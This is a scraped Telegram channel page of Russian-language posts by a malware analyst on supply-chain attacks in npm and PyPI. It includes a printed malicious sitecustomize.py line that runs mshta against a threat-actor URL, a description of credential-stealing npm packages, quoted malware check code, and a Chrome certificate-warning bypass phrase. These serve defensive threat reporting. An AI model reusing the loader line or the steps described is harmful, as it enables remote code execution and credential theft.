ch
Feedback
disasm.me channel

disasm.me channel

前往频道在 Telegram

Канал вирусного аналитика, занимающегося безопасностью опенсорса и технологиями искусственного интеллекта. Плюс заметки по аспирантуре :) Автор: @hexadec1mal В чате сидит Guard-бот, будьте внимательнее.

显示更多
2 503
订阅者
-124 小时
-37
+3830
帖子存档
Repost from ESCalator

У нас пропала реакция кота-клоуна 🤡 Прошу неравнодушных восстановить справедливость. Вместе мы обязательно справимся) @disasm_me_ch

Привет. Поехали в Москву на OFFZONE? 🏃‍♀️
Привет. Поехали в Москву на OFFZONE? 🏃‍♀️

Интересное наблюдение с прошедшего CyberCamp насчёт отношения спикеров к ИИ С одной стороны у нас есть Сергей Зыбнев (автор к
Интересное наблюдение с прошедшего CyberCamp насчёт отношения спикеров к ИИ С одной стороны у нас есть Сергей Зыбнев (автор канала Похек) и Иван Булавин (директор по продуктам программы Standoff 365, в которую входят багбаунти, киберполигон и онлайн-симулятор для блютима). Они положительно смотрят на ИИ и изучают, как он может усилить способности специалистов при решении задач пентеста, багбаунти, редтима, SOC, IR. В частности, поднимают темы о том, как ИИ могут увеличить полноценность ресёрчей в плане внимания к мелким деталям. С вниманием к слабым сторонам агентов. С другой стороны стоит Андрей Левкин (руководитель продукта BI.ZONE Bug Bounty). Ему приходится бороться с волной нейрослопа и кратным ростом числа мусорных отчётов. Один из тейков его доклада "Суд присяжных над AI-отчётом" звучит так: "Пока тонны бессмысленных ИИ-репортов хотя бы немного окупают подписку, волны спама не прекратятся". И его позицию можно понять. Как сейчас принято говорить, ассистенты и агенты — это множители способностей. Нужно обладать экспертизой, чтобы мочь проверять ИИ-выхлоп на адекватность — иначе получится умножение на бесконечно малую величину. И где-то между ними Алексей Лукацкий, который прогнозирует погибель существующих решений для LLM Observability: ведь есть традиционный SIEM, на который уже можно возложить часть текущих проблем. В хорошее время живём, историческое) @disasm_me_ch

Лето, парк, CyberCamp ❤️❤️ В следующую пятницу (17 июля) друзья из CyberCamp организовывают ИБ-мероприятие на свежем воздухе
Лето, парк, CyberCamp ❤️❤️ В следующую пятницу (17 июля) друзья из CyberCamp организовывают ИБ-мероприятие на свежем воздухе в парке в Строгино Трансляции не будет, да и лучше очно послушать последние изыскания Зыбнева (ведёт канал Похек) по ИИ-инструментам или про ИИ-багхантеров на Позитивной платформе Standoff) Я схожу 🐈 В программе 10 докладов по научпопу, ИИ, багбаунти. Темы докладов и спикеры — моё почтение Билеты стоят 1000 рублей (студенческие — 500), деньги идут на благотворительность. Для вас, мои любимые читатели, до 9 июля 23:59 будет действовать промокод на 50%: LETODIS50. Сайт мероприятия @disasm_me_ch

Repost from ESCalator
Кто-то сказал sandbox? 👀 В очередной раз наблюдаем, как злоумышленники проводят неэтичные ресерчи. Дано: Исследователь по бе
+3
Кто-то сказал sandbox? 👀 В очередной раз наблюдаем, как злоумышленники проводят неэтичные ресерчи. Дано: Исследователь по безопасности Nicholas Curran Он опубликовал пакеты с интересными названиями: 🌟2 пакета npm-sandbox-ping-[4 символа] 🌟8 пакетов npm-sandbox-research-[4 символа] 🌟postinstall-logger-7x9z 🌟pkg-telemetry-r4f9 🌟runtime-metrics-w7k2 🌟event-metrics-q3x7 🌟build-tracker-n5p1 Согласно описанию (скриншот 1), эти пакеты созданы в рамках багбаунти-программы. Автор заявляет, что: 🔗Пакеты безопасны. 🔗Все чувствительные данные перед отправкой хэшируются — не происходит никакого разглашения секретов. 🔗Пакеты не выполняют закрепления в системе, перемещения в сети и деструктивных действий. 🔗Цель исследования: изучить, изолирует ли npm-песочница небезопасные установочные скрипты. Ресерч безопасности песочниц? Такое мы любим. Давайте посмотрим, как это реализовано. Нагрузка стартует дважды: до и после установки пакета (скриншот 2). За Windows-логику отвечает beaconXX.js, все остальные платформы обрабатываются beacon_linux.js. Даже macOS. Логика под Windows beaconXX.js (скриншот 3): 1️⃣ Эксплуатирует известный обход UAC через fodhelper.exe. Для этого, помимо запуска файла, необходимо внести изменения в реестр Windows. 2️⃣ Дропает PowerShell-скрипт в %TEMP% и запускает его с повышенными привилегиями. PowerShell-скрипт: 1️⃣ Удаляет внесенные в реестр изменения. 2️⃣ Собирает: 🐟 артефакты, специфичные для изучаемой песочницы, с диска D, в том числе файл findings.xml; 🐟 список секретов из Credential Manager; 🐟 npm config list — сюда попадают в том числе токены аутентификации для учетной записи npm; 🐟 все переменные окружения. 3️⃣ Заметает следы, перезаписывая findings.xml следующим текстом:
<ArrayOfTaskFinding></ArrayOfTaskFinding>
4️⃣ Собранные данные кодирует в base64 и просто отправляет на управляющий сервер... без хэширования, о котором заявлено в README.md 🤪 5️⃣ В вечном цикле каждые 5 секунд обращается к управляющему серверу за командами на исполнение. Учитывая, как код пытается вмешаться в работу песочницы, можно предположить, что это кастомная песочница с агентом наподобие Cuckoo Sandbox. Логика под non-Windows beacon_linux.js (скриншот 4): 1️⃣ Собирает: 🐟 список имён всех переменных окружения; 🐟 значения интересных переменных окружения, связанных с GitHub, NPM, раннерами, пользователем; 🐟 список сетевых интерфейсов. 2️⃣ Проверяет возможности для побега из контейнера, собирая: 🐟 содержимое /proc/1/cgroup (информация об ограничениях контейнера); 🐟 команду запуска процесса с PID 1; 🐟 список примонтированных томов. 🐟 набор capabilities своего процесса; 🐟 наличие /var/run/docker.sock (позволяет управлять Docker с потенциалом полностью захватить устройство); 🐟 доступ к /proc/sched_debug (позволяет разведать процессы, запущенные на хосте). 3️⃣ Собирает артефакты, связанные с CI/CD: список файлов текущего проекта и /home/runner/work, логи GitHub. 4️⃣ Отправляет отчет на управляющий сервер. Заключение Пакеты не соответствуют благим целям, о которых нам заявляли в README.md, — поэтому мы зарепортили админам NPM об этом недоразумении. Странно видеть такое поведение от багхантера, имеющего учетную запись на HackerOne с 2017 🤔
Хотите проверить свои проекты на наличие вредоносных внешних зависимостей? Попробуйте фиды для безопасной разработки из PT Fusion.
#ti #scs #npm @ptescalator

Занятное-актуальное хромовское Сталкиваюсь с ру-сайтами, которые не успели отреагировать на недавнюю волну с отзывом сертифик
Занятное-актуальное хромовское Сталкиваюсь с ру-сайтами, которые не успели отреагировать на недавнюю волну с отзывом сертификатов GlobalSign. Chrome обычно на проблемы с сертификатами разрешает нажать "I accept the risk" и дальше продолжить пользоваться сайтом, но не в этом случае — для отозванных сертификатов или нарушения политики HSTS такой кнопки просто нет 😑 Но, если очень нужно, в Chrome на странице ошибки можно набрать фразу "thisisunsafe" ("this is unsafe" — "это небезопасно") — и тогда браузер перестанет с вами бороться 😊 Проверить поведение браузера на отозванный сертификат: https://revoked.badssl.com/ Ну и предупреждаю, что в каждом отдельном случае вам нужно сознательно проверить (погуглить), почему у сайта возникли проблемы с сертификатом — вдруг это хахакеры вас митмят @disasm_me_ch

Абьюз site-packages: strikes back Мы с вами уже разбирали, что злоумышленники используют для закрепления стандартный модуль P
Абьюз site-packages: strikes back Мы с вами уже разбирали, что злоумышленники используют для закрепления стандартный модуль Python siteв атаке TeamPCP на LiteLLM. Нашёл ещё один кейс, который не будет ловиться простым правилом "возбуждаемся на .pth-файлы" Дано: PyPI-пакет temp-development-package-test 🤨 Во время установки пакета исполняется код на скриншоте 1. Его задача — скопировать заранее подготовленный файл sitecustomize.py в каталог site-packages. По-хорошему этот файл является конфигурационным модулем для site, но в него можно положить любой Python-код, чем и пользуется злоумышленник. В итоге возникает такая же ситуация, как и с .pth-файлами: исполнение кода при каждом запуске интерпретатора без виртуального окружения. Сам вредоносный sitecustomize.py — двухстрочник:
import os
os.system('cmd /c "mshta http://[threat actor domain]"')
Non-Windows-юзеры, можем спать спокойно. mshta — это Windows-инструмент, который умеет исполнять VBScript-, JavaScript- и HTA-скрипты. Злоумышленник смекалистый: если обратиться к странице с юзер-агентом не от mshta, то нам вернут просто заглушку с подключённым Cloudflare Insights для сбора базовой информации о браузере 😱 Если передать ожидаемый юзер-агент, скачивается VBScript, который содержит два файла, представленные в base64 — легитимный CameraSettingsUIHost.exe, уязвимый к DLL Side-Loading, и DLL-библиотеку со следующим стейджем. ——— Такая кампания выглядит ближе к традиционному киберкрайму: тот же DLL Side-Loading привычно видеть во вредоносных кампаниях, не связанных с опенсорсом... Интересно, зачем при таких навыках злоумышленник ограничился только Windows-юзерами 👃 #pypi #scs @disasm_me_ch

🤔 Нашёл этот шедевр. Кто-то похоже игрался с процентами — и проиграл Вайбкодовый мир победил, антропик оказался сильней @dis
🤔 Нашёл этот шедевр. Кто-то похоже игрался с процентами — и проиграл Вайбкодовый мир победил, антропик оказался сильней @disasm_me_ch

😑 Смартфон в кармане решил форварднуть текст из первого закреплённого чата в идущие за ним закреплённые чаты Меня не взломали, и это не CTF-таска. Спасибо за бдительность)

Repost from N/a
桌子 下面 的 秘密 我家 有 一张 桌子 和 两把 椅子 。桌子 上 有 一台 电脑 和 一台 电视 ,还有 一本 书 。 可是, 桌子 下面 有 什么? 那儿 不 只 有 灰尘 ,还有 一只 猫 和 一只 狗 的 小玩具 。猫 和 狗 一起 睡觉 ,玩得 很 开心 。 每次 我 坐在 椅子 上 , 都能 看到 桌子 下面 的 秘密 。我 觉得 很 有趣 , 现在 你 想 看 吗 ?

Вышел Positive Research 2026, №2 Там есть статья за авторством вашего слуги опенсорса 🤗 Цифровая гигиена разработчика: стара
Вышел Positive Research 2026, №2 Там есть статья за авторством вашего слуги опенсорса 🤗
Цифровая гигиена разработчика: стараемся не попасться на удочку злоумышленника Страницы 85-107
Советую в принципе глянуть этот и другие выпуски: каждый из них является дизайнерским искусством, да и авторы рассказывают интересные темы) У меня есть три физические копии журнала. Хочу их подарить трём счастливчикам, которые до 23 июня напишут комментарий к посту, где будет фигурировать слово "журнал" 😑 @disasm_me_ch

Repost from False Positive
Помните кейс LiteLLM? Мы дропаем OMCBench (Open Malicious-Code Benchmark) - бенчмарк оценки качества по обнаружению вредоносн
Помните кейс LiteLLM? Мы дропаем OMCBench (Open Malicious-Code Benchmark) - бенчмарк оценки качества по обнаружению вредоносного кода: - 3 языка: Python, JavaScript, TypeScript - 400 вредоносных пакетов, 400 чистых из pypi/npm - пофайловая LLM разметка, о которой говорили на OFFZONE прошлым летом - Открытая лицензия, BSD-2 Открытые решения на нем набирают не больше 75% F1, выдавая ~50% False Positive результатов... Те, кто уже нажал звездочку на гитхабе, могли заметить, что в таблице мы также анонсим MOLOT - нашу модель для решения этого класса задач. Ловите блогпост, а на подходе arxiv статья с подробностями про анализ графов вызовов бертами, LLM разметку и выкатку в prod! Ждите дроп статьи в канале, stay tuned!

Ощущаю первые последствия недавней презентации от Google Слева — старая вкладка в Google Slides, справа — новая Эх, я слишком
Ощущаю первые последствия недавней презентации от Google Слева — старая вкладка в Google Slides, справа — новая Эх, я слишком стар, чтобы раз в пару лет вновь привыкать к новому оформлению

Google Slides пока ещё не готов к этим вашим новомодным веяниям
Google Slides пока ещё не готов к этим вашим новомодным веяниям

В инфополе активно форсится мемная идея, что для защиты от кампаний TeamPCP надо поставить русскоязычную локаль. Как выглядит проверка в рамках кампании mistralai:
try:
    lang = os.environ.get('LANG', '').split('.')[0]
    _log(f"LANG environment variable: {lang}")
    if lang.lower().startswith('ru'):
        _log("Russia check failed: LANG starts with 'ru', exiting")
        sys.exit(1)
    _log("Russia check passed")
except Exception as e:
    _log(f"Russia check exception (continuing): {e}")
Переменная окружения LANG не существует под Windows. Благо ранее есть ещё одна проверка:
_log("Starting main checks")
_log(f"Platform: {sys.platform}")
if sys.platform not in ('linux'):
    _log("Platform check failed: not Linux, exiting")
    sys.exit(1)
_log("Platform check passed")
Виндоводы — выдыхаем. У меня arch Linux Mint btw и проверку я бы не прошёл — LANG у меня имеет значение en_US.UTF-8. Пора исправляться #pypi #scs @disasm_me_ch